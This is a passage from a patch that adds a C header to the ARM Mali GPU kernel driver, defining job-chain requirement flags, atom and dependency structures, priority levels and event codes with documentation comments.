with them. + */ + +/* Private flag tracking whether job descriptor dumping is disabled */ +#define BASEP_CONTEXT_FLAG_JOB_DUMP_DISABLED \ + ((base_context_create_flags)(1 << 31)) + +/* Enable additional tracepoints for latency measurements (TL_ATOM_READY, + * TL_ATOM_DONE, TL_ATOM_PRIO_CHANGE, TL_ATOM_EVENT_POST) + */ +#define BASE_TLSTREAM_ENABLE_LATENCY_TRACEPOINTS (1 << 0) + +/* Indicate that job dumping is enabled. This could affect certain timers + * to account for the performance impact. + */ +#define BASE_TLSTREAM_JOB_DUMPING_ENABLED (1 << 1) + +#define BASE_TLSTREAM_FLAGS_MASK (BASE_TLSTREAM_ENABLE_LATENCY_TRACEPOINTS | \ + BASE_TLSTREAM_JOB_DUMPING_ENABLED) +/* + * Dependency stuff, keep it private for now. May want to expose it if + * we decide to make the number of semaphores a configurable + * option. + */ +#define BASE_JD_ATOM_COUNT 256 + +/* Maximum number of concurrent render passes. + */ +#define BASE_JD_RP_COUNT (256) + +/* Set/reset values for a software event */ +#define BASE_JD_SOFT_EVENT_SET ((unsigned char)1) +#define BASE_JD_SOFT_EVENT_RESET ((unsigned char)0) + +/** + * struct base_jd_udata - Per-job data + * + * This structure is used to store per-job data, and is completely unused + * by the Base driver. It can be used to store things such as callback + * function pointer, data to handle job completion. It is guaranteed to be + * untouched by the Base driver. + * + * @blob: per-job data array + */ +struct base_jd_udata { + __u64 blob[2]; +}; + +/** + * typedef base_jd_dep_type - Job dependency type. + * + * A flags field will be inserted into the atom structure to specify whether a + * dependency is a data or ordering dependency (by putting it before/after + * 'core_req' in the structure it should be possible to add without changing + * the structure size). + * When the flag is set for a particular dependency to signal that it is an + * ordering only dependency then errors will not be propagated. + */ +typedef __u8 base_jd_dep_type; + +#define BASE_JD_DEP_TYPE_INVALID (0) /**< Invalid dependency */ +#define BASE_JD_DEP_TYPE_DATA (1U << 0) /**< Data dependency */ +#define BASE_JD_DEP_TYPE_ORDER (1U << 1) /**< Order dependency */ + +/** + * typedef base_jd_core_req - Job chain hardware requirements. + * + * A job chain must specify what GPU features it needs to allow the + * driver to schedule the job correctly. By not specifying the + * correct settings can/will cause an early job termination. Multiple + * values can be ORed together to specify multiple requirements. + * Special case is ::BASE_JD_REQ_DEP, which is used to express complex + * dependencies, and that doesn't execute anything on the hardware. + */ +typedef __u32 base_jd_core_req; + +/* Requirements that come from the HW */ + +/* No requirement, dependency only + */ +#define BASE_JD_REQ_DEP ((base_jd_core_req)0) + +/* Requires fragment shaders + */ +#define BASE_JD_REQ_FS ((base_jd_core_req)1 << 0) + +/* Requires compute shaders + * + * This covers any of the following GPU job types: + * - Vertex Shader Job + * - Geometry Shader Job + * - An actual Compute Shader Job + * + * Compare this with BASE_JD_REQ_ONLY_COMPUTE, which specifies that the + * job is specifically just the "Compute Shader" job type, and not the "Vertex + * Shader" nor the "Geometry Shader" job type. + */ +#define BASE_JD_REQ_CS ((base_jd_core_req)1 << 1) + +/* Requires tiling */ +#define BASE_JD_REQ_T ((base_jd_core_req)1 << 2) + +/* Requires cache flushes */ +#define BASE_JD_REQ_CF ((base_jd_core_req)1 << 3) + +/* Requires value writeback */ +#define BASE_JD_REQ_V ((base_jd_core_req)1 << 4) + +/* SW-only requirements - the HW does not expose these as part of the job slot + * capabilities + */ + +/* Requires fragment job with AFBC encoding */ +#define BASE_JD_REQ_FS_AFBC ((base_jd_core_req)1 << 13) + +/* SW-only requirement: coalesce completion events. + * If this bit is set then completion of this atom will not cause an event to + * be sent to userspace, whether successful or not; completion events will be + * deferred until an atom completes which does not have this bit set. + * + * This bit may not be used in combination with BASE_JD_REQ_EXTERNAL_RESOURCES. + */ +#define BASE_JD_REQ_EVENT_COALESCE ((base_jd_core_req)1 << 5) + +/* SW Only requirement: the job chain requires a coherent core group. We don't + * mind which coherent core group is used. + */ +#define BASE_JD_REQ_COHERENT_GROUP ((base_jd_core_req)1 << 6) + +/* SW Only requirement: The performance counters should be enabled only when + * they are needed, to reduce power consumption. + */ +#define BASE_JD_REQ_PERMON ((base_jd_core_req)1 << 7) + +/* SW Only requirement: External resources are referenced by this atom. + * + * This bit may not be used in combination with BASE_JD_REQ_EVENT_COALESCE and + * BASE_JD_REQ_SOFT_EVENT_WAIT. + */ +#define BASE_JD_REQ_EXTERNAL_RESOURCES ((base_jd_core_req)1 << 8) + +/* SW Only requirement: Software defined job. Jobs with this bit set will not be + * submitted to the hardware but will cause some action to happen within the + * driver + */ +#define BASE_JD_REQ_SOFT_JOB ((base_jd_core_req)1 << 9) + +#define BASE_JD_REQ_SOFT_DUMP_CPU_GPU_TIME (BASE_JD_REQ_SOFT_JOB | 0x1) +#define BASE_JD_REQ_SOFT_FENCE_TRIGGER (BASE_JD_REQ_SOFT_JOB | 0x2) +#define BASE_JD_REQ_SOFT_FENCE_WAIT (BASE_JD_REQ_SOFT_JOB | 0x3) + +/* 0x4 RESERVED for now */ + +/* SW only requirement: event wait/trigger job. + * + * - BASE_JD_REQ_SOFT_EVENT_WAIT: this job will block until the event is set. + * - BASE_JD_REQ_SOFT_EVENT_SET: this job sets the event, thus unblocks the + * other waiting jobs. It completes immediately. + * - BASE_JD_REQ_SOFT_EVENT_RESET: this job resets the event, making it + * possible for other jobs to wait upon. It completes immediately. + */ +#define BASE_JD_REQ_SOFT_EVENT_WAIT (BASE_JD_REQ_SOFT_JOB | 0x5) +#define BASE_JD_REQ_SOFT_EVENT_SET (BASE_JD_REQ_SOFT_JOB | 0x6) +#define BASE_JD_REQ_SOFT_EVENT_RESET (BASE_JD_REQ_SOFT_JOB | 0x7) + +#define BASE_JD_REQ_SOFT_DEBUG_COPY (BASE_JD_REQ_SOFT_JOB | 0x8) + +/* SW only requirement: Just In Time allocation + * + * This job requests a single or multiple just-in-time allocations through a + * list of base_jit_alloc_info structure which is passed via the jc element of + * the atom. The number of base_jit_alloc_info structures present in the + * list is passed via the nr_extres element of the atom + * + * It should be noted that the id entry in base_jit_alloc_info must not + * be reused until it has been released via BASE_JD_REQ_SOFT_JIT_FREE. + * + * Should this soft job fail it is expected that a BASE_JD_REQ_SOFT_JIT_FREE + * soft job to free the JIT allocation is still made. + * + * The job will complete immediately. + */ +#define BASE_JD_REQ_SOFT_JIT_ALLOC (BASE_JD_REQ_SOFT_JOB | 0x9) + +/* SW only requirement: Just In Time free + * + * This job requests a single or multiple just-in-time allocations created by + * BASE_JD_REQ_SOFT_JIT_ALLOC to be freed. The ID list of the just-in-time + * allocations is passed via the jc element of the atom. + * + * The job will complete immediately. + */ +#define BASE_JD_REQ_SOFT_JIT_FREE (BASE_JD_REQ_SOFT_JOB | 0xa) + +/* SW only requirement: Map external resource + * + * This job requests external resource(s) are mapped once the dependencies + * of the job have been satisfied. The list of external resources are + * passed via the jc element of the atom which is a pointer to a + * base_external_resource_list. + */ +#define BASE_JD_REQ_SOFT_EXT_RES_MAP (BASE_JD_REQ_SOFT_JOB | 0xb) + +/* SW only requirement: Unmap external resource + * + * This job requests external resource(s) are unmapped once the dependencies + * of the job has been satisfied. The list of external resources are + * passed via the jc element of the atom which is a pointer to a + * base_external_resource_list. + */ +#define BASE_JD_REQ_SOFT_EXT_RES_UNMAP (BASE_JD_REQ_SOFT_JOB | 0xc) + +/* HW Requirement: Requires Compute shaders (but not Vertex or Geometry Shaders) + * + * This indicates that the Job Chain contains GPU jobs of the 'Compute + * Shaders' type. + * + * In contrast to BASE_JD_REQ_CS, this does not indicate that the Job + * Chain contains 'Geometry Shader' or 'Vertex Shader' jobs. + */ +#define BASE_JD_REQ_ONLY_COMPUTE ((base_jd_core_req)1 << 10) + +/* HW Requirement: Use the base_jd_atom::device_nr field to specify a + * particular core group + * + * If both BASE_JD_REQ_COHERENT_GROUP and this flag are set, this flag + * takes priority + * + * This is only guaranteed to work for BASE_JD_REQ_ONLY_COMPUTE atoms. + * + * If the core availability policy is keeping the required core group turned + * off, then the job will fail with a BASE_JD_EVENT_PM_EVENT error code. + */ +#define BASE_JD_REQ_SPECIFIC_COHERENT_GROUP ((base_jd_core_req)1 << 11) + +/* SW Flag: If this bit is set then the successful completion of this atom + * will not cause an event to be sent to userspace + */ +#define BASE_JD_REQ_EVENT_ONLY_ON_FAILURE ((base_jd_core_req)1 << 12) + +/* SW Flag: If this bit is set then completion of this atom will not cause an + * event to be sent to userspace, whether successful or not. + */ +#define BASEP_JD_REQ_EVENT_NEVER ((base_jd_core_req)1 << 14) + +/* SW Flag: Skip GPU cache clean and invalidation before starting a GPU job. + * + * If this bit is set then the GPU's cache will not be cleaned and invalidated + * until a GPU job starts which does not have this bit set or a job completes + * which does not have the BASE_JD_REQ_SKIP_CACHE_END bit set. Do not use + * if the CPU may have written to memory addressed by the job since the last job + * without this bit set was submitted. + */ +#define BASE_JD_REQ_SKIP_CACHE_START ((base_jd_core_req)1 << 15) + +/* SW Flag: Skip GPU cache clean and invalidation after a GPU job completes. + * + * If this bit is set then the GPU's cache will not be cleaned and invalidated + * until a GPU job completes which does not have this bit set or a job starts + * which does not have the BASE_JD_REQ_SKIP_CACHE_START bit set. Do not use + * if the CPU may read from or partially overwrite memory addressed by the job + * before the next job without this bit set completes. + */ +#define BASE_JD_REQ_SKIP_CACHE_END ((base_jd_core_req)1 << 16) + +/* Request the atom be executed on a specific job slot. + * + * When this flag is specified, it takes precedence over any existing job slot + * selection logic. + */ +#define BASE_JD_REQ_JOB_SLOT ((base_jd_core_req)1 << 17) + +/* SW-only requirement: The atom is the start of a renderpass. + * + * If this bit is set then the job chain will be soft-stopped if it causes the + * GPU to write beyond the end of the physical pages backing the tiler heap, and + * committing more memory to the heap would exceed an internal threshold. It may + * be resumed after running one of the job chains attached to an atom with + * BASE_JD_REQ_END_RENDERPASS set and the same renderpass ID. It may be + * resumed multiple times until it completes without memory usage exceeding the + * threshold. + * + * Usually used with BASE_JD_REQ_T. + */ +#define BASE_JD_REQ_START_RENDERPASS ((base_jd_core_req)1 << 18) + +/* SW-only requirement: The atom is the end of a renderpass. + * + * If this bit is set then the atom incorporates the CPU address of a + * base_jd_fragment object instead of the GPU address of a job chain. + * + * Which job chain is run depends upon whether the atom with the same renderpass + * ID and the BASE_JD_REQ_START_RENDERPASS bit set completed normally or + * was soft-stopped when it exceeded an upper threshold for tiler heap memory + * usage. + * + * It also depends upon whether one of the job chains attached to the atom has + * already been run as part of the same renderpass (in which case it would have + * written unresolved multisampled and otherwise-discarded output to temporary + * buffers that need to be read back). The job chain for doing a forced read and + * forced write (from/to temporary buffers) is run as many times as necessary. + * + * Usually used with BASE_JD_REQ_FS. + */ +#define BASE_JD_REQ_END_RENDERPASS ((base_jd_core_req)1 << 19) + +/* SW-only requirement: The atom needs to run on a limited core mask affinity. + * + * If this bit is set then the kbase_context.limited_core_mask will be applied + * to the affinity. + */ +#define BASE_JD_REQ_LIMITED_CORE_MASK ((base_jd_core_req)1 << 20) + +/* These requirement bits are currently unused in base_jd_core_req + */ +#define BASEP_JD_REQ_RESERVED \ + (~(BASE_JD_REQ_ATOM_TYPE | BASE_JD_REQ_EXTERNAL_RESOURCES | \ + BASE_JD_REQ_EVENT_ONLY_ON_FAILURE | BASEP_JD_REQ_EVENT_NEVER | \ + BASE_JD_REQ_EVENT_COALESCE | \ + BASE_JD_REQ_COHERENT_GROUP | BASE_JD_REQ_SPECIFIC_COHERENT_GROUP | \ + BASE_JD_REQ_FS_AFBC | BASE_JD_REQ_PERMON | \ + BASE_JD_REQ_SKIP_CACHE_START | BASE_JD_REQ_SKIP_CACHE_END | \ + BASE_JD_REQ_JOB_SLOT | BASE_JD_REQ_START_RENDERPASS | \ + BASE_JD_REQ_END_RENDERPASS | BASE_JD_REQ_LIMITED_CORE_MASK)) + +/* Mask of all bits in base_jd_core_req that control the type of the atom. + * + * This allows dependency only atoms to have flags set + */ +#define BASE_JD_REQ_ATOM_TYPE \ + (BASE_JD_REQ_FS | BASE_JD_REQ_CS | BASE_JD_REQ_T | BASE_JD_REQ_CF | \ + BASE_JD_REQ_V | BASE_JD_REQ_SOFT_JOB | BASE_JD_REQ_ONLY_COMPUTE) + +/** + * Mask of all bits in base_jd_core_req that control the type of a soft job. + */ +#define BASE_JD_REQ_SOFT_JOB_TYPE (BASE_JD_REQ_SOFT_JOB | 0x1f) + +/* Returns non-zero value if core requirements passed define a soft job or + * a dependency only job. + */ +#define BASE_JD_REQ_SOFT_JOB_OR_DEP(core_req) \ + (((core_req) & BASE_JD_REQ_SOFT_JOB) || \ + ((core_req) & BASE_JD_REQ_ATOM_TYPE) == BASE_JD_REQ_DEP) + +/** + * enum kbase_jd_atom_state + * + * @KBASE_JD_ATOM_STATE_UNUSED: Atom is not used. + * @KBASE_JD_ATOM_STATE_QUEUED: Atom is queued in JD. + * @KBASE_JD_ATOM_STATE_IN_JS: Atom has been given to JS (is runnable/running). + * @KBASE_JD_ATOM_STATE_HW_COMPLETED: Atom has been completed, but not yet + * handed back to job dispatcher for + * dependency resolution. + * @KBASE_JD_ATOM_STATE_COMPLETED: Atom has been completed, but not yet handed + * back to userspace. + */ +enum kbase_jd_atom_state { + KBASE_JD_ATOM_STATE_UNUSED, + KBASE_JD_ATOM_STATE_QUEUED, + KBASE_JD_ATOM_STATE_IN_JS, + KBASE_JD_ATOM_STATE_HW_COMPLETED, + KBASE_JD_ATOM_STATE_COMPLETED +}; + +/** + * typedef base_atom_id - Type big enough to store an atom number in. + */ +typedef __u8 base_atom_id; + +/** + * struct base_dependency - + * + * @atom_id: An atom number + * @dependency_type: Dependency type + */ +struct base_dependency { + base_atom_id atom_id; + base_jd_dep_type dependency_type; +}; + +/** + * struct base_jd_fragment - Set of GPU fragment job chains used for rendering. + * + * @norm_read_norm_write: Job chain for full rendering. + * GPU address of a fragment job chain to render in the + * circumstance where the tiler job chain did not exceed + * its memory usage threshold and no fragment job chain + * was previously run for the same renderpass. + * It is used no more than once per renderpass. + * @norm_read_forced_write: Job chain for starting incremental + * rendering. + * GPU address of a fragment job chain to render in + * the circumstance where the tiler job chain exceeded + * its memory usage threshold for the first time and + * no fragment job chain was previously run for the + * same renderpass. + * Writes unresolved multisampled and normally- + * discarded output to temporary buffers that must be + * read back by a subsequent forced_read job chain + * before the renderpass is complete. + * It is used no more than once per renderpass. + * @forced_read_forced_write: Job chain for continuing incremental + * rendering. + * GPU address of a fragment job chain to render in + * the circumstance where the tiler job chain + * exceeded its memory usage threshold again + * and a fragment job chain was previously run for + * the same renderpass. + * Reads unresolved multisampled and + * normally-discarded output from temporary buffers + * written by a previous forced_write job chain and + * writes the same to temporary buffers again. + * It is used as many times as required until + * rendering completes. + * @forced_read_norm_write: Job chain for ending incremental rendering. + * GPU address of a fragment job chain to render in the + * circumstance where the tiler job chain did not + * exceed its memory usage threshold this time and a + * fragment job chain was previously run for the same + * renderpass. + * Reads unresolved multisampled and normally-discarded + * output from temporary buffers written by a previous + * forced_write job chain in order to complete a + * renderpass. + * It is used no more than once per renderpass. + * + * This structure is referenced by the main atom structure if + * BASE_JD_REQ_END_RENDERPASS is set in the base_jd_core_req. + */ +struct base_jd_fragment { + __u64 norm_read_norm_write; + __u64 norm_read_forced_write; + __u64 forced_read_forced_write; + __u64 forced_read_norm_write; +}; + +/** + * typedef base_jd_prio - Base Atom priority. + * + * Only certain priority levels are actually implemented, as specified by the + * BASE_JD_PRIO_<...> definitions below. It is undefined to use a priority + * level that is not one of those defined below. + * + * Priority levels only affect scheduling after the atoms have had dependencies + * resolved. For example, a low priority atom that has had its dependencies + * resolved might run before a higher priority atom that has not had its + * dependencies resolved. + * + * In general, fragment atoms do not affect non-fragment atoms with + * lower priorities, and vice versa. One exception is that there is only one + * priority value for each context. So a high-priority (e.g.) fragment atom + * could increase its context priority, causing its non-fragment atoms to also + * be scheduled sooner. + * + * The atoms are scheduled as follows with respect to their priorities: + * * Let atoms 'X' and 'Y' be for the same job slot who have dependencies + * resolved, and atom 'X' has a higher priority than atom 'Y' + * * If atom 'Y' is currently running on the HW, then it is interrupted to + * allow atom 'X' to run soon after + * * If instead neither atom 'Y' nor atom 'X' are running, then when choosing + * the next atom to run, atom 'X' will always be chosen instead of atom 'Y' + * * Any two atoms that have the same priority could run in any order with + * respect to each other. That is, there is no ordering constraint between + * atoms of the same priority. + * + * The sysfs file 'js_ctx_scheduling_mode' is used to control how atoms are + * scheduled between contexts. The default value, 0, will cause higher-priority + * atoms to be scheduled first, regardless of their context. The value 1 will + * use a round-robin algorithm when deciding which context's atoms to schedule + * next, so higher-priority atoms can only preempt lower priority atoms within + * the same context. See KBASE_JS_SYSTEM_PRIORITY_MODE and + * KBASE_JS_PROCESS_LOCAL_PRIORITY_MODE for more details. + */ +typedef __u8 base_jd_prio; + +/* Medium atom priority. This is a priority higher than BASE_JD_PRIO_LOW */ +#define BASE_JD_PRIO_MEDIUM ((base_jd_prio)0) +/* High atom priority. This is a priority higher than BASE_JD_PRIO_MEDIUM and + * BASE_JD_PRIO_LOW + */ +#define BASE_JD_PRIO_HIGH ((base_jd_prio)1) +/* Low atom priority. */ +#define BASE_JD_PRIO_LOW ((base_jd_prio)2) +/* Real-Time atom priority. This is a priority higher than BASE_JD_PRIO_HIGH, + * BASE_JD_PRIO_MEDIUM, and BASE_JD_PRIO_LOW + */ +#define BASE_JD_PRIO_REALTIME ((base_jd_prio)3) + +/* Count of the number of priority levels. This itself is not a valid + * base_jd_prio setting + */ +#define BASE_JD_NR_PRIO_LEVELS 4 + +/** + * struct base_jd_atom_v2 - Node of a dependency graph used to submit a + * GPU job chain or soft-job to the kernel driver. + * + * @jc: GPU address of a job chain or (if BASE_JD_REQ_END_RENDERPASS + * is set in the base_jd_core_req) the CPU address of a + * base_jd_fragment object. + * @udata: User data. + * @extres_list: List of external resources. + * @nr_extres: Number of external resources or JIT allocations. + * @jit_id: Zero-terminated array of IDs of just-in-time memory + * allocations written to by the atom. When the atom + * completes, the value stored at the + * &struct_base_jit_alloc_info.heap_info_gpu_addr of + * each allocation is read in order to enforce an + * overall physical memory usage limit. + * @pre_dep: Pre-dependencies. One need to use SETTER function to assign + * this field; this is done in order to reduce possibility of + * improper assignment of a dependency field. + * @atom_number: Unique number to identify the atom. + * @prio: Atom priority. Refer to base_jd_prio for more details. + * @device_nr: Core group when BASE_JD_REQ_SPECIFIC_COHERENT_GROUP + * specified. + * @jobslot: Job slot to use when BASE_JD_REQ_JOB_SLOT is specified. + * @core_req: Core requirements. + * @renderpass_id: Renderpass identifier used to associate an atom that has + * BASE_JD_REQ_START_RENDERPASS set in its core requirements + * with an atom that has BASE_JD_REQ_END_RENDERPASS set. + * @padding: Unused. Must be zero. + * + * This structure has changed since UK 10.2 for which base_jd_core_req was a + * __u16 value. + * + * In UK 10.3 a core_req field of a __u32 type was added to the end of the + * structure, and the place in the structure previously occupied by __u16 + * core_req was kept but renamed to compat_core_req. + * + * From UK 11.20 - compat_core_req is now occupied by __u8 jit_id[2]. + * Compatibility with UK 10.x from UK 11.y is not handled because + * the major version increase prevents this. + * + * For UK 11.20 jit_id[2] must be initialized to zero. + */ +struct base_jd_atom_v2 { + __u64 jc; + struct base_jd_udata udata; + __u64 extres_list; + __u16 nr_extres; + __u8 jit_id[2]; + struct base_dependency pre_dep[2]; + base_atom_id atom_number; + base_jd_prio prio; + __u8 device_nr; + __u8 jobslot; + base_jd_core_req core_req; + __u8 renderpass_id; + __u8 padding[7]; +}; + +/** + * struct base_jd_atom - Same as base_jd_atom_v2, but has an extra seq_nr + * at the beginning. + * + * @seq_nr: Sequence number of logical grouping of atoms. + * @jc: GPU address of a job chain or (if BASE_JD_REQ_END_RENDERPASS + * is set in the base_jd_core_req) the CPU address of a + * base_jd_fragment object. + * @udata: User data. + * @extres_list: List of external resources. + * @nr_extres: Number of external resources or JIT allocations. + * @jit_id: Zero-terminated array of IDs of just-in-time memory + * allocations written to by the atom. When the atom + * completes, the value stored at the + * &struct_base_jit_alloc_info.heap_info_gpu_addr of + * each allocation is read in order to enforce an + * overall physical memory usage limit. + * @pre_dep: Pre-dependencies. One need to use SETTER function to assign + * this field; this is done in order to reduce possibility of + * improper assignment of a dependency field. + * @atom_number: Unique number to identify the atom. + * @prio: Atom priority. Refer to base_jd_prio for more details. + * @device_nr: Core group when BASE_JD_REQ_SPECIFIC_COHERENT_GROUP + * specified. + * @jobslot: Job slot to use when BASE_JD_REQ_JOB_SLOT is specified. + * @core_req: Core requirements. + * @renderpass_id: Renderpass identifier used to associate an atom that has + * BASE_JD_REQ_START_RENDERPASS set in its core requirements + * with an atom that has BASE_JD_REQ_END_RENDERPASS set. + * @padding: Unused. Must be zero. + */ +typedef struct base_jd_atom { + __u64 seq_nr; + __u64 jc; + struct base_jd_udata udata; + __u64 extres_list; + __u16 nr_extres; + __u8 jit_id[2]; + struct base_dependency pre_dep[2]; + base_atom_id atom_number; + base_jd_prio prio; + __u8 device_nr; + __u8 jobslot; + base_jd_core_req core_req; + __u8 renderpass_id; + __u8 padding[7]; +} base_jd_atom; + +struct base_jit_alloc_info { + __u64 gpu_alloc_addr; + __u64 va_pages; + __u64 commit_pages; + __u64 extension; + __u8 id; + __u8 bin_id; + __u8 max_allocations; + __u8 flags; + __u8 padding[2]; + __u16 usage_id; + __u64 heap_info_gpu_addr; +}; + +struct base_external_resource { + __u64 ext_resource; +}; + +/* Job chain event code bits + * Defines the bits used to create ::base_jd_event_code + */ +enum { + BASE_JD_SW_EVENT_KERNEL = (1u << 15), /* Kernel side event */ + BASE_JD_SW_EVENT = (1u << 14), /* SW defined event */ + /* Event indicates success (SW events only) */ + BASE_JD_SW_EVENT_SUCCESS = (1u << 13), + BASE_JD_SW_EVENT_JOB = (0u << 11), /* Job related event */ + BASE_JD_SW_EVENT_BAG = (1u << 11), /* Bag related event */ + BASE_JD_SW_EVENT_INFO = (2u << 11), /* Misc/info event */ + BASE_JD_SW_EVENT_RESERVED = (3u << 11), /* Reserved event type */ + /* Mask to extract the type from an event code */ + BASE_JD_SW_EVENT_TYPE_MASK = (3u << 11) +}; + +/** + * enum base_jd_event_code - Job chain event codes + * + * @BASE_JD_EVENT_RANGE_HW_NONFAULT_START: Start of hardware non-fault status + * codes. + * Obscurely, BASE_JD_EVENT_TERMINATED + * indicates a real fault, because the + * job was hard-stopped. + * @BASE_JD_EVENT_NOT_STARTED: Can't be seen by userspace, treated as + * 'previous job done'. + * @BASE_JD_EVENT_STOPPED: Can't be seen by userspace, becomes + * TERMINATED, DONE or JOB_CANCELLED. + * @BASE_JD_EVENT_TERMINATED: This is actually a fault status code - the job + * was hard stopped. + * @BASE_JD_EVENT_ACTIVE: Can't be seen by userspace, jobs only returned on + * complete/fail/cancel. + * @BASE_JD_EVENT_RANGE_HW_NONFAULT_END: End of hardware non-fault status codes. + * Obscurely, BASE_JD_EVENT_TERMINATED + * indicates a real fault, + * because the job was hard-stopped. + * @BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_START: Start of hardware fault and + * software error status codes. + * @BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_END: End of hardware fault and + * software error status codes. + * @BASE_JD_EVENT_RANGE_SW_SUCCESS_START: Start of software success status + * codes. + * @BASE_JD_EVENT_RANGE_SW_SUCCESS_END: End of software success status codes. + * @BASE_JD_EVENT_RANGE_KERNEL_ONLY_START: Start of kernel-only status codes. + * Such codes are never returned to + * user-space. + * @BASE_JD_EVENT_RANGE_KERNEL_ONLY_END: End of kernel-only status codes. + * @BASE_JD_EVENT_DONE: atom has completed successfull + * @BASE_JD_EVENT_JOB_CONFIG_FAULT: Atom dependencies configuration error which + * shall result in a failed atom + * @BASE_JD_EVENT_JOB_POWER_FAULT: The job could not be executed because the + * part of the memory system required to access + * job descriptors was not powered on + * @BASE_JD_EVENT_JOB_READ_FAULT: Reading a job descriptor into the Job + * manager failed + * @BASE_JD_EVENT_JOB_WRITE_FAULT: Writing a job descriptor from the Job + * manager failed + * @BASE_JD_EVENT_JOB_AFFINITY_FAULT: The job could not be executed because the + * specified affinity mask does not intersect + * any available cores + * @BASE_JD_EVENT_JOB_BUS_FAULT: A bus access failed while executing a job + * @BASE_JD_EVENT_INSTR_INVALID_PC: A shader instruction with an illegal program + * counter was executed. + * @BASE_JD_EVENT_INSTR_INVALID_ENC: A shader instruction with an illegal + * encoding was executed. + * @BASE_JD_EVENT_INSTR_TYPE_MISMATCH: A shader instruction was executed where + * the instruction encoding did not match the + * instruction type encoded in the program + * counter. + * @BASE_JD_EVENT_INSTR_OPERAND_FAULT: A shader instruction was executed that + * contained invalid combinations of operands. + * @BASE_JD_EVENT_INSTR_TLS_FAULT: A shader instruction was executed that tried + * to access the thread local storage section + * of another thread. + * @BASE_JD_EVENT_INSTR_ALIGN_FAULT: A shader instruction was executed that + * tried to do an unsupported unaligned memory + * access. + * @BASE_JD_EVENT_INSTR_BARRIER_FAULT: A shader instruction was executed that + * failed to complete an instruction barrier. + * @BASE_JD_EVENT_DATA_INVALID_FAULT: Any data structure read as part of the job + * contains invalid combinations of data. + * @BASE_JD_EVENT_TILE_RANGE_FAULT: Tile or fragment shading was asked to + * process a tile that is entirely outside the + * bounding box of the frame. + * @BASE_JD_EVENT_STATE_FAULT: Matches ADDR_RANGE_FAULT. A virtual address + * has been found that exceeds the virtual + * address range. + * @BASE_JD_EVENT_OUT_OF_MEMORY: The tiler ran out of memory when executing a job. + * @BASE_JD_EVENT_UNKNOWN: If multiple jobs in a job chain fail, only + * the first one the reports an error will set + * and return full error information. + * Subsequent failing jobs will not update the + * error status registers, and may write an + * error status of UNKNOWN. + * @BASE_JD_EVENT_DELAYED_BUS_FAULT: The GPU received a bus fault for access to + * physical memory where the original virtual + * address is no longer available. + * @BASE_JD_EVENT_SHAREABILITY_FAULT: Matches GPU_SHAREABILITY_FAULT. A cache + * has detected that the same line has been + * accessed as both shareable and non-shareable + * memory from inside the GPU. + * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL1: A memory access hit an invalid table + * entry at level 1 of the translation table. + * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL2: A memory access hit an invalid table + * entry at level 2 of the translation table. + * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL3: A memory access hit an invalid table + * entry at level 3 of the translation table. + * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL4: A memory access hit an invalid table + * entry at level 4 of the translation table. + * @BASE_JD_EVENT_PERMISSION_FAULT: A memory access could not be allowed due to + * the permission flags set in translation + * table + * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL1: A bus fault occurred while reading + * level 0 of the translation tables. + * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL2: A bus fault occurred while reading + * level 1 of the translation tables. + * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL3: A bus fault occurred while reading + * level 2 of the translation tables. + * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL4: A bus fault occurred while reading + * level 3 of the translation tables. + * @BASE_JD_EVENT_ACCESS_FLAG: Matches ACCESS_FLAG_0. A memory access hit a + * translation table entry with the ACCESS_FLAG + * bit set to zero in level 0 of the + * page table, and the DISABLE_AF_FAULT flag + * was not set. + * @BASE_JD_EVENT_MEM_GROWTH_FAILED: raised for JIT_ALLOC atoms that failed to + * grow memory on demand + * @BASE_JD_EVENT_JOB_CANCELLED: raised when this atom was hard-stopped or its + * dependencies failed + * @BASE_JD_EVENT_JOB_INVALID: raised for many reasons, including invalid data + * in the atom which overlaps with + * BASE_JD_EVENT_JOB_CONFIG_FAULT, or if the + * platform doesn't support the feature specified in + * the atom. + * @BASE_JD_EVENT_PM_EVENT: TODO: remove as it's not used + * @BASE_JD_EVENT_TIMED_OUT: TODO: remove as it's not used + * @BASE_JD_EVENT_BAG_INVALID: TODO: remove as it's not used + * @BASE_JD_EVENT_PROGRESS_REPORT: TODO: remove as it's not used + * @BASE_JD_EVENT_BAG_DONE: TODO: remove as it's not used + * @BASE_JD_EVENT_DRV_TERMINATED: this is a special event generated to indicate + * to userspace that the KBase context has been + * destroyed and Base should stop listening for + * further events + * @BASE_JD_EVENT_REMOVED_FROM_NEXT: raised when an atom that was configured in + * the GPU has to be retried (but it has not + * started) due to e.g., GPU reset + * @BASE_JD_EVENT_END_RP_DONE: this is used for incremental rendering to signal + * the completion of a renderpass. This value + * shouldn't be returned to userspace but I haven't + * seen where it is reset back to JD_EVENT_DONE. + * + * HW and low-level SW events are represented by event codes. + * The status of jobs which succeeded are also represented by + * an event code (see @BASE_JD_EVENT_DONE). + * Events are usually reported as part of a &struct base_jd_event. + * + * The event codes are encoded in the following way: + * * 10:0 - subtype + * * 12:11 - type + * * 13 - SW success (only valid if the SW bit is set) + * * 14 - SW event (HW event if not set) + * * 15 - Kernel event (should never be seen in userspace) + * + * Events are split up into ranges as follows: + * * BASE_JD_EVENT_RANGE__START + * * BASE_JD_EVENT_RANGE__END + * + * code is in 's range when: + * BASE_JD_EVENT_RANGE__START <= code < + * BASE_JD_EVENT_RANGE__END + * + * Ranges can be asserted for adjacency by testing that the END of the previous + * is equal to the START of the next. This is useful for optimizing some tests + * for range. + * + * A limitation is that the last member of this enum must explicitly be handled + * (with an assert-unreachable statement) in switch statements that use + * variables of this type. Otherwise, the compiler warns that we have not + * handled that enum value. + */ +enum base_jd_event_code { + /* HW defined exceptions */ + BASE_JD_EVENT_RANGE_HW_NONFAULT_START = 0, + + /* non-fatal exceptions */ + BASE_JD_EVENT_NOT_STARTED = 0x00, + BASE_JD_EVENT_DONE = 0x01, + BASE_JD_EVENT_STOPPED = 0x03, + BASE_JD_EVENT_TERMINATED = 0x04, + BASE_JD_EVENT_ACTIVE = 0x08, + + BASE_JD_EVENT_RANGE_HW_NONFAULT_END = 0x40, + 